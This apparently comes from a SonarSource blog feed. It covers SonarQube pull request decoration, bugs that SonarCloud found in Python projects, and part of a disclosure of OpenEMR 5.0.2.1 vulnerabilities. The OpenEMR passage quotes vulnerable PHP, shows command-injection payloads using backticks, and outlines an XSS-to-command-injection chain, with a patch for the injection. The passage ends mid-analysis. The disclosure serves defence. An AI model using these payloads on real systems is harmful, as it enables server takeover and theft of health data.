chosen for this project requires 100% review as part of the passing criteria. Every decoration includes a link that opens the project in SonarQube and displays a complete summary of the PR metrics.&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/1fb49600-ce06-40fb-9ca5-e491f838018a/body-7973997f-4ee1-4541-905d-4f3a4ce46a0d_GitHub%2BPR%2Bdemo%2BSQ%2Bmetrics%2Bcopy.png&quot; /&gt;&lt;p&gt;From there it&amp;#x27;s easy to drill down on the issues causing the QG to fail. While finding code quality issues is great, fixing them is really what&amp;#x27;s important so SonarQube also provides contextual help and recommendations. In our example, SonarQube detected a Security Hotspot which is a potential vulnerability. Quick aside - A &lt;a href=&quot;https://blog.sonarsource.com/security-hotspot-review&quot;&gt;Security Hotspot&lt;/a&gt; is a snippet of suspicious code that could be a vulnerability or nothing to worry about - it needs a set of eyes to review and triage before you can safely merge. The idea is that the developer that just wrote the code is in the best position to determine if the Security Hotspot is a legit vulnerability or harmless. To assist with the Security Hotspot reviews, we built a dedicated UI in SonarQube to make the process effective and this ties right back to the guiding principle from earlier: the &lt;em&gt;right&lt;/em&gt; &lt;strong&gt;info&lt;/strong&gt;, at the &lt;em&gt;right&lt;/em&gt; &lt;strong&gt;time&lt;/strong&gt;, in the &lt;em&gt;right&lt;/em&gt; &lt;strong&gt;place&lt;/strong&gt;.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;SonarQube Security Hotspot dedicated UI&lt;/strong&gt;&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/77bf3812-ac2f-47c1-b7c5-36ef8605c5f4/body-a7b67a73-f202-4ce4-84dd-62c9704832b3_cppHotspotsScreenshot.png&quot; /&gt;&lt;p&gt;Keep in mind that SonarQube only needs to be invoked if there&amp;#x27;s a failing QG. This means minimal distractions and fewer context switches -&amp;gt; Kill the Noise! As you work through the issues causing the QG to fail, SonarQube dynamically updates the PR decoration in your ALM. This keeps the whole team informed of project status and ongoing progress. Once your QG is green, you can confidently merge your PR!&lt;/p&gt;&lt;h3&gt;&lt;br/&gt;&lt;/h3&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/63f300b2-0527-49a9-8604-ba63fd127744/body-378a49f9-d47f-42aa-894d-17c032b55181_GH-Green-QG---ALM-blog.png&quot; /&gt;&lt;h3&gt;&lt;em&gt;TL;DR - Just Let Me Watch It (in a 3 min. video)&lt;/em&gt;&lt;/h3&gt;&lt;p&gt;Here&amp;#x27;s the whole GitHub pull request decoration example as a short video so you can see it &amp;#x27;live&amp;#x27;.&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/embed/zVzwuV92r6M&quot;&gt;Watch the video&lt;/a&gt;&lt;/p&gt;&lt;h3&gt;&lt;br/&gt;&lt;/h3&gt;&lt;h3&gt;&lt;em&gt;If You &lt;/em&gt;❤️&lt;em&gt; Bitbucket, Azure DevOps and GitLab - We&amp;#x27;ve got you covered too&lt;/em&gt;&lt;/h3&gt;&lt;p&gt;We provide the same value for Atlassian Bitbucket, Microsoft Azure DevOps and GitLab users too.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Bitbucket Pull Request decoration&lt;/strong&gt;&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/80e9570d-82ea-47ab-b992-c82eaec694ec/body-9b8cd02a-e1be-4efd-b3ae-8cfac949ffe9_SQ-BB%2BPR%2BScreenshot%2B1.png&quot; /&gt;&lt;p&gt;&lt;strong&gt;Azure DevOps Pull Request decoration&lt;/strong&gt;&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/8c9a6a92-54e6-45bc-92a7-ed5753b9bdda/body-79925ef5-c310-4604-94d5-7b2b16a0d3e9_ADO%2BPR%2BDeco.png&quot; /&gt;&lt;p&gt;&lt;strong&gt;GitLab Merge Request decoration&lt;/strong&gt;&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/989f9c13-6c9f-4de8-9aa8-567a0c63d287/body-40c6332b-2d3a-4a29-b231-fd201f33a68a_PR%2Bdeco%2Bin%2BGL%2Bwith%2BHS%2Breview%2Bmetric%2B-%2Bpassing%2BQG.png&quot; /&gt;&lt;p&gt;Now, head over to the &lt;a href=&quot;https://www.youtube.com/channel/UCS5-gTYteN9rnFd98YxYtrA&quot;&gt;SonarSource YouTube&lt;/a&gt; channel to see a concise demo of SonarQube integrating with your favorite ALM!&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Built by Developers, For Developers&lt;/strong&gt;&lt;br/&gt;Since the beginning in 2008, SonarSource products have been made by developers for developers. The end goal hasn&amp;#x27;t changed - that every developer and development team have the tools to write clean, safe, quality code. This is why we&amp;#x27;ve invested the time and dedication to tightly integrate with GitHub along with Bitbucket, Azure DevOps &amp;amp; GitLab. In doing this, we combined the strength of each ALM platform with the strength of SonarQube to achieve the best of both worlds!&lt;/p&gt;&lt;p&gt;We want you and your team to improve every day and so we&amp;#x27;ll continue to iterate and make SonarQube better with every release!&lt;/p&gt;&lt;p&gt;&lt;em&gt;Thanks for reading and happy, clean coding!&lt;/em&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Pick a topic to discover more:&lt;/strong&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Read the &lt;a href=&quot;https://blog.sonarsource.com/clean-as-you-code&quot;&gt;Clean as You Code&lt;/a&gt; blog article&lt;/li&gt;&lt;li&gt;Developers should own code quality - learn about &lt;a href=&quot;https://blog.sonarsource.com/security-hotspot-review&quot;&gt;Security Hotspots&lt;/a&gt; and how to tackle them&lt;/li&gt;&lt;li&gt;See the features in SonarQube &lt;a href=&quot;https://www.sonarqube.org/enterprise-edition/&quot;&gt;Developer Edition&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[How SonarCloud finds bugs in high-quality Python projects]]></title><description><![CDATA[As developers, there always comes a time when we find a bug in production and wonder how it passed all our quality checks. Let's go over a few Bugs we found with SonarCloud and see why it is able to detect them when popular linters don't .

]]></description><link>https://www.sonarsource.com/blog/sonarcloud-finds-bugs-in-high-quality-python-projects</link><guid isPermaLink="false">56c5590f-57a7-5227-a5e3-ae8f6df39f26</guid><dc:creator><![CDATA[Nicolas Harraudeau]]></dc:creator><pubDate>Tue, 03 Nov 2020 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;As developers, there always comes a time when we find a bug in production and wonder how it passed all our quality checks. The truth is that we can never be sure our code is bug free. We can only choose the tools and workflows which will find the most bugs without slowing us down too much.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;SonarQube, SonarLint and SonarCloud are such tools. We used SonarCloud during our recent bug report campaign, which focused on popular projects such as &lt;a href=&quot;https://github.com/tensorflow/tensorflow/issues?q=is%3Aissue+author%3Anicolas-harraudeau-sonarsource+&quot;&gt;tensorflow&lt;/a&gt;, &lt;a href=&quot;https://github.com/numpy/numpy/issues?q=is%3Aissue+author%3Anicolas-harraudeau-sonarsource+&quot;&gt;numpy&lt;/a&gt;, &lt;a href=&quot;https://github.com/saltstack/salt/issues?q=is%3Aissue+author%3Anicolas-harraudeau-sonarsource+&quot;&gt;salt&lt;/a&gt;, &lt;a href=&quot;https://github.com/getsentry/sentry/issues?q=is%3Aissue+author%3Anicolas-harraudeau-sonarsource+&quot;&gt;sentry&lt;/a&gt; and &lt;a href=&quot;https://github.com/biopython/biopython/issues?q=is%3Aissue+author%3Anicolas-harraudeau-sonarsource+&quot;&gt;biopython&lt;/a&gt;. The campaign result was quite interesting, since it shows the kind of bugs we can find in a Python project even when its development workflow includes every best practice: code reviews, high test coverage, and the use of one or more linters (flake8, pylint, ...).&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Let&amp;#x27;s go over a few Bugs we found with SonarCloud and see why it is able to detect them when popular linters don&amp;#x27;t .&lt;/p&gt;&lt;h3&gt;Reference to an undefined variable&lt;/h3&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;SonarCloud can detect buggy references to undefined variables when the variables are defined in another `if-else` branch. It uses a &lt;a href=&quot;https://en.wikipedia.org/wiki/Control-flow_graph&quot;&gt;Control Flow Graph&lt;/a&gt; to deduce that the definition of the variable will never occur before the buggy reference.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/0a75fb58-6435-42dd-a48e-fa330c39cac6/body-2bc222a4-bcb8-4a04-9d24-52f9d54301ad_Screenshot1.png&quot; /&gt;&lt;h3&gt;Unreachable code&lt;/h3&gt;&lt;p&gt;Detecting dead code is easy when it&amp;#x27;s just after a `return` or a `raise` statement. It&amp;#x27;s a little harder when the `return` is conditional. We use a control flow graph to detect cases where multiple branches exit just before reaching a statement.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/f8b23dd1-e7fa-4f8c-99cd-52e7ce6732df/body-d6e57ef4-6913-4ed8-b680-fcc8134bf357_Screenshot2.png&quot; /&gt;&lt;h3&gt;Wrong fields in formatted strings&lt;/h3&gt;&lt;p&gt;It is quite common to reference the wrong field name or index during string formatting. Pylint and Flake8 have rules detecting this problem with string literals, but they miss bugs when the format string is in a variable. &lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/50d4c27a-2b8c-4b54-95e3-8ec768e7df0b/body-bb3d3ab2-9233-4e73-acac-e2d76c6e260e_Screenshot3.png&quot; /&gt;&lt;h2&gt;Type errors&lt;/h2&gt;&lt;p&gt;SonarCloud has a type inference engine, which enables it to detect advanced type errors. It uses every bit of information it can find to deduce variable type, including &lt;a href=&quot;https://github.com/python/typeshed/&quot;&gt;Typeshed&lt;/a&gt; stubs, assignments, and your type annotations.. At the same time, it won&amp;#x27;t complain if you don&amp;#x27;t use type annotations, and it&amp;#x27;s designed to avoid False Positives.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In this example, control flow analysis is what allows it to understand that `state_shape` is a tuple because it is assigned `output_shape[1:]` when `output_shape` is a `tuple`. The algorithm is able to ignore the later `list` assignments to `output_shape`.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/f3111dcc-f0b0-4ea9-8f35-0d8d5eeed33b/body-fb64657a-7afc-4acc-aa8e-5aebd7ed3859_Screenshot4.png&quot; /&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Now let&amp;#x27;s look at some more specific examples.&lt;/p&gt;&lt;h3&gt;Wrong argument type &lt;/h3&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;SonarCloud uses &lt;a href=&quot;https://github.com/python/typeshed/&quot;&gt;Typeshed&lt;/a&gt; stubs to know the types expected by builtins functions. So here it raises an issue because you get a `TypeError` if you call the `len` builtin on an integer. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/128ba07a-ec3b-41eb-afe1-147885428e65/body-ab47620e-d7c4-4e23-91f5-74ee50ec52c5_Screenshot5.png&quot; /&gt;&lt;h3&gt;Comparisons that don&amp;#x27;t make sense&lt;/h3&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;SonarCloud has many rules detecting code which doesn&amp;#x27;t make sense. Comparing incompatible types with `==` will never fail, but it will always return False, or True if you use `!=`. Here we can see an issue because `platform.architecture()` returns a tuple.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/d8afb5cc-4a28-4206-a076-07be0c25d590/body-563d9328-f1bf-457c-9af9-a5c48cf9abba_Screenshot6.png&quot; /&gt;&lt;h3&gt;Return values from functions without side effects should not be ignored&lt;/h3&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Some function calls have no side effect, i.e. they won&amp;#x27;t change anything by themselves and their only purpose is to return a value. Thus  there is always a bug when their result is not used. SonarCloud knows an extensive list of such functions. In this example the two strings are not concatenated; the `format` method is called on the second string and the result is discarded, so the value of `warning_msg` is &amp;quot;Make sure that your dataset can generate at least &amp;quot;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/cd7ebdc3-0c4f-466b-be72-53870c2380e1/body-4a1c2d24-3e12-49cd-a21b-e96491312a20_Screenshot7.png&quot; /&gt;&lt;h3&gt;Unraised exceptions&lt;/h3&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;When we review code we usually look at classes, variables and other meaningful symbols and we forget to check little details, such as &amp;quot;is there a raise keyword before my exception&amp;quot;. SonarCloud analyzes your whole project to extract type hierarchies. Thus it detects when custom exceptions are discarded, not just the builtin ones.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/d5479426-0706-49b9-9024-201b17bac955/body-46c97116-8694-4913-9e41-635a257cad0b_Screenshot8.png&quot; /&gt;&lt;h2&gt;Flake8 is great but not enough&lt;/h2&gt;&lt;blockquote&gt;&quot;Some of the things [SonarCloud] spots are impressive (probably driven by some introspection and/or type inference), not just the simple pattern matching that I am used to in most of the flake8 ecosystem.&quot;&lt;footer&gt;&lt;cite&gt;&lt;/cite&gt;&lt;/footer&gt;&lt;/blockquote&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;em&gt;- Peter J. A. Cock - maintainer of BioPython (&lt;a href=&quot;https://github.com/biopython/biopython/issues/3294#issuecomment-703170267&quot;&gt;original post here&lt;/a&gt;)&lt;/em&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This is one of the nice pieces of feedback we received during our bug report campaign. (&lt;a href=&quot;https://forum.sentry.io/t/detecting-bugs-in-sentry-after-a-scan-with-sonarcloud/11330/3?u=nicolas-harraudeau-s&quot;&gt;There&amp;#x27;s more&lt;/a&gt;!).&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;All the projects we examined use one or more linters, such as Flake8, which is very popular, and is often included in CI workflows. There are very good reasons for Flake8&amp;#x27;s broad use:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;it focuses on uncontroversial rules that generate few false positives&lt;/li&gt;&lt;li&gt;It checks pep8 style&lt;/li&gt;&lt;li&gt;It is fast&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.sonarlint.org/&quot;&gt;SonarLint&lt;/a&gt;, &lt;a href=&quot;https://sonarcloud.io/&quot;&gt;SonarCloud&lt;/a&gt; and &lt;a href=&quot;https://www.sonarqube.org/&quot;&gt;SonarQube&lt;/a&gt; have the same philosophy about speed and false positives. All three target developers, which means that &lt;a href=&quot;https://blog.sonarsource.com/false-positives-our-enemies-but-maybe-your-friends&quot;&gt;we work hard to keep &amp;quot;noise&amp;quot; to a minimum&lt;/a&gt;. In addition, SonarCloud and SonarQube can both import Flake8 issues. But most importantly:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;they detect a broader range of issues. Not just style and pattern matching, but a full range of &lt;a href=&quot;https://rules.sonarsource.com/python&quot;&gt;bugs, code smells and vulnerabilities&lt;/a&gt;.&lt;/li&gt;&lt;li&gt;they help you focus on achieving high quality in recent changes (i.e. &lt;a href=&quot;https://www.sonarsource.com/why-us/unique-approach/clean-as-you-code/&quot;&gt;Clean as You Code&lt;/a&gt;) rather than distracting you with small flaws in old code&lt;/li&gt;&lt;li&gt;they support all the languages in your project. For example if you&amp;#x27;ve got JavaScript or TypeScript alongside your Python, it will be analyzed simultaneously, with no more setup or infrastructure.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;You can use SonarCloud for free on any open source project and get started with just a few clicks. &lt;a href=&quot;https://www.sonarqube.org/downloads/&quot;&gt;SonarQube Community Edition&lt;/a&gt; is also free for unlimited on-premises use. Don&amp;#x27;t hesitate to share your feedback, good or bad, &lt;a href=&quot;https://community.sonarsource.com/&quot;&gt;in our community forum&lt;/a&gt;. It helps us improve our tools everyday.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;em&gt;Have something to add? &lt;a href=&quot;https://community.sonarsource.com/t/blog-post-how-sonarcloud-finds-bugs-in-high-quality-python-projects/33725&quot;&gt;Join us in the community!&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Code vulnerabilities put health records at risk]]></title><description><![CDATA[Recently, we discovered several code vulnerabilities in OpenEMR 5.0.2.1. A combination of these vulnerabilities allowed remote attackers to execute arbitrary system commands on any OpenEMR server that uses the Patient Portal component. This can lead to the compromise of sensitive patient data, or worse, to a compromise of critical infrastructure.]]></description><link>https://www.sonarsource.com/blog/openemr-5-0-2-1-command-injection-vulnerability</link><guid isPermaLink="false">a25355f3-f67b-51e4-9205-b37767fad542</guid><dc:creator><![CDATA[Dennis Brinkrolf]]></dc:creator><pubDate>Wed, 28 Oct 2020 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;OpenEMR is the most popular open source software for electronic health record and medical practice management. It is used world-wide to manage sensitive patient data, including information about medications, laboratory values, and diseases. Patients use OpenEMR to schedule appointments, communicate with physicians, and pay online invoices. Specifically in these tumultuous times of an ongoing pandemic, this is highly sensitive data and protecting it is a concern for everyone, and particularly in the U.S.. Companies in America are required to protect individually identifiable and electronic health information by the Health Insurance Portability and Accountability Act (HIPAA).&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;During our security research of popular web applications, we discovered several code vulnerabilities in OpenEMR 5.0.2.1. A combination of these vulnerabilities allowed remote attackers to execute arbitrary system commands on any OpenEMR server that uses the Patient Portal component. This can lead to the compromise of sensitive patient data, or worse, to a compromise of critical infrastructure.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In this blog post we analyze the technical root cause of three vulnerabilities and demonstrate how attackers could have built a chain for exploitation. We reported all issues responsibly to the affected vendor who rated the fixes as critical and released a &lt;a href=&quot;https://www.open-emr.org/wiki/index.php/OpenEMR_Patches&quot;&gt;security patch&lt;/a&gt; in August immediately to protect all users.&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Impact&lt;/h2&gt;&lt;p&gt;During the analysis of OpenEMR 5.0.2.1 we found the following code vulnerabilities:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;Command Injection (admin privileges) (CVE-2020-36243)&lt;/li&gt;&lt;li&gt;Persistent XSS (admin privileges) (CVE-2021-32103)&lt;/li&gt;&lt;li&gt;Insecure API permissions (unauthenticated) (CVE-2021-32101)&lt;/li&gt;&lt;li&gt;SQL Injection (user privileges) (CVE-2021-32102, CVE-2021-32104)&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The vulnerabilities impact OpenEMR&amp;#x27;s Patient Portal that needs to be active and accessible for online patients. A remote attacker can then insert a malicious JavaScript payload (XSS) into any user account. This works even when the portal&amp;#x27;s registration feature for new users is disabled.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Depending on the privilege role of the victim, further vulnerabilities in the backend can be exploited when a victim’s browser executes the XSS payload unconsciously. For example, if the victim is an administrator, the attacker can take over the entire server via a Command Injection vulnerability that allows to execute OS system commands. Other, lower privileged user sessions can be misused to exploit SQL injection vulnerabilities that enable to steal patient data from the database. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;For demonstration purposes we’ve created a short video that shows how quick and easy a server is compromised.&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/embed/H8VWNwWgYJo&quot;&gt;Watch the video&lt;/a&gt;&lt;/p&gt;&lt;h2&gt;Technical Analysis&lt;/h2&gt;&lt;p&gt;In the following section, we dive into three of the code vulnerabilities we found in OpenEMR. These can be combined by an attacker to gain pre-auth command execution in the Patient Portal of OpenEMR 5.0.2.1 when targeting an administrator user.&lt;/p&gt;&lt;h3&gt;1. Command Injection Vulnerability (CVE-2020-36243)&lt;/h3&gt;&lt;p&gt;The most critical vulnerability hides in the backend of OpenEMR. Here, administrators can use a feature to create data backups. For this purpose, different SQL queries are constructed dynamically that are later executed &lt;strong&gt;as system commands&lt;/strong&gt; when creating the backup file. The following (simplified) code shows the critical code where these system commands are created depending on the operating system (OS).&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;interface/main/backup.php&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt; 5   foreach ($_POST[&apos;form_sel_layouts&apos;] as $layoutid) {
 6      if (IS_WINDOWS) {
 8         $cmd .= &quot; echo DELETE FROM layout_options WHERE form_id = &apos;&quot; . 
                           add_escape_custom($layoutid) . &quot;&apos;; &gt;&gt; &quot; . 
                           escapeshellarg($EXPORT_FILE) . &quot; &amp; &quot;;
 9      }
10      else {
11         $cmd .= &quot;echo \&quot;DELETE FROM layout_options WHERE form_id = &apos;&quot; . 
                           add_escape_custom($layoutid) . &quot;&apos;;\&quot; &gt;&gt; &quot; .
                           escapeshellarg($EXPORT_FILE) . &quot;;&quot;;
12      }
13   }
14
15   exec($cmd);&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;In line 5, the values in the HTTP POST parameter &lt;code&gt;form_sel_layouts&lt;/code&gt; are received and used as &lt;code&gt;$layoutid&lt;/code&gt; variables. Then these values are concatenated into an OS command &lt;code&gt;$cmd&lt;/code&gt; in line 11.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;As we can see here, the user-controlled input &lt;code&gt;$layoutid&lt;/code&gt; is sanitized with the help of the function &lt;code&gt;add_escape_custom()&lt;/code&gt;. This custom function is defined in the OpenEMR code base and makes use of the PHP built-in function &lt;code&gt;mysqli_real_escape_string()&lt;/code&gt; that is known to protect against SQL injection vulnerabilities. Finally, the concatenated OS command string is executed in line 19. At first sight, it looks like the developers carefully sanitized all user inputs.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;To understand why the sanitization is not sufficient in this code we need to understand how commands are executed. When we look at the final value of the variable &lt;code&gt;$cmd&lt;/code&gt; in line 15, the shell command looks like the following at runtime:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;echo &quot;DELETE FROM layout_options WHERE form_id = &apos;$layoutid&apos;;&quot;  &gt;&gt; /tmp/export;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Here, the variable &lt;code&gt;$layoutid&lt;/code&gt; contains a user-controlled value. But why does the &lt;code&gt;add_escape_custom()&lt;/code&gt; function not fully protect against a Command Injection vulnerability?&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Let’s assume the attacker sends the following payload:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;?form_sel_layouts[]=&apos;sonar&quot;;source&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This would result in the following shell command:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;echo &quot;DELETE FROM layout_options WHERE form_id = &apos; \&apos;sonar\&quot;;source&apos;;&quot;  &gt;&gt; /tmp/export;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;As we can see, the quotes are escaped and an attacker cannot break out of the single quotes &lt;code&gt;&amp;#x27;&lt;/code&gt;. A SQL injection is successfully prevented. Double quotes &lt;code&gt;&amp;quot;&lt;/code&gt; are also escaped by &lt;code&gt;mysqli_real_escape_string()&lt;/code&gt; and we are not breaking out of the &lt;code&gt;echo&lt;/code&gt; command either. However, there is another way to exploit a Command Injection vulnerability.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;An attacker can send the following payload:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;?form_sel_layouts[]=`touch sonarsource.txt;`&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Note the backtick characters &lt;code&gt;``&lt;/code&gt; in our payload. This would end up in the shell command like this:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;echo &quot;DELETE FROM layout_options WHERE form_id = &apos;`touch sonarsource.txt;`&apos;;&quot;  &gt;&gt; /tmp/export;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The problem here is that the &lt;code&gt;echo&lt;/code&gt; shell command uses double quotes and thus allows to execute sub commands in Linux by using characters like backticks &lt;code&gt;``&lt;/code&gt; or &lt;code&gt;$()&lt;/code&gt;. Once our backticks are found within the system command, our new, injected command is executed and the output result is inserted into the initial command. From here, an attacker can fully compromise the system and read sensitive data.&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Patch&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;It is tempting to use the PHP built-in function&lt;code&gt; escapeshellarg()&lt;/code&gt; as a patch since it is designed to escape all malicious characters needed for a Command Injection attack. However, in this case this function would introduce a SQL injection vulnerability instead because &lt;code&gt;escapeshellarg()&lt;/code&gt; introduces new single quotes. These single quotes would break the SQL query and probably that is the reason why it was not used here in the first place.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;As a solution to protect against both vulnerability types, it is enough to simply swap the single and double quotes.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;echo &apos;DELETE FROM layout_options WHERE form_id = &quot;$layoutid&quot;;&apos; &gt;&gt; /tmp/export;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;A SQL injection vulnerability is then still prevented because the double quote &lt;code&gt;&amp;quot;&lt;/code&gt; characters are escaped. More importantly, &lt;em&gt;command substitution&lt;/em&gt; can no longer be opened because now the argument of &lt;code&gt;echo&lt;/code&gt; is in single quotes &lt;code&gt;&amp;#x27;&lt;/code&gt;, which don&amp;#x27;t allow sub commands.&lt;/p&gt;&lt;h3&gt;2. Persistent Cross-Site Scripting Vulnerability (CVE-2021-32103)&lt;/h3&gt;&lt;p&gt;So far an attacker can only trigger the Command Injection vulnerability manually if he or she logs in as an admin. With the help of another code vulnerability, the attack can be carried out with the help of a valid administrator that triggers the exploitation unknowingly. We discovered a Persistent Cross-Site Scripting vulnerability that enables this kind of attack.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The attacker’s payload is hidden within the last name of a user account. This last name can be changed in line 4 of the following code. Note that this action can only be performed by an administrator (we will come back to this in the next section).&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;interface/usergroup/usergroup_admin.php&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;1   if (isset($_POST[&quot;privatemode&quot;]) &amp;&amp; $_POST[&quot;privatemode&quot;] ==&quot;user_admin&quot;) {
2      if ($_POST[&quot;mode&quot;] == &quot;update&quot;) {
3         if ($_POST[&quot;lname&quot;]) {
4            sqlStatement(&quot;update users set lname=? where id= ? &quot;, array($_POST[&quot;lname&quot;], $_POST[&quot;id&quot;]));
5         }
6      }
7   }&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The new last name is stored permanently in the database table &lt;em&gt;users&lt;/em&gt;. At a different code location, this name is read from the database again to present it in the frontend. This happens, for example, when an administrator changes the password of the renamed user.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;interface/usergroup/user_info.php&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;2   $userid = $_SESSION[&apos;authId&apos;];
3   $user_name = getUserIDInfo($userid);
4   $user_full_name = $user_name[&apos;fname&apos;] . &quot; &quot; . $user_name[&apos;lname&apos;];
5   ?&gt;
